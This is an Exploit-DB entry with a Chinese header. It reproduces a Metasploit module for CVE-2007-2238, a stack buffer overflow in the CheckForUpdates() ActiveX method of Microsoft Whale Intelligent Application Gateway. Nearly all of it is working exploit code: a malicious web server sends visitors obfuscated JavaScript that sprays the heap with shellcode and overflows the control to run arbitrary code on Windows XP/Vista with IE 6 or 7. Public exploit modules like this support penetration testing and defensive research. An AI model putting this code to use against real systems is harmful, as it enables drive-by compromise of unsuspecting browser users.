标题: Microsoft Whale Intelligent Application Gateway - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16608 CVE: 2007-2238 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application
    Gateway Whale Client. When sending an overly long string to CheckForUpdates()
    method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-2238' ],
     [ 'OSVDB', '53933'],
     [ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Apr 15 2009',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # fluff..
  fluff = rand_text_english(rand(20) + 1)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return.
  ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

  js = %Q|
   try {
    var evil_string = "";
    var index;
    var vulnerable = new ActiveXObject('ComponentManager.Installer.1');
    var my_unescape = unescape;
    var shellcode = '#{shellcode}';
    #{js_heap_spray}
    sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
    for (index = 0; index < 15000; index++) {
     evil_string = evil_string + my_unescape('#{ret}');
    }
    vulnerable.CheckForUpdates(evil_string,'#{fluff}');
   } catch( e ) { window.location = 'about:blank' ; }
  |

  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => [
     'vulnerable',
     'shellcode',
     'my_unescape',
     'index',
     'evil_string',
    ]
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.update_opts(js_heap_spray.opts)
  js.obfuscate()
  content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16608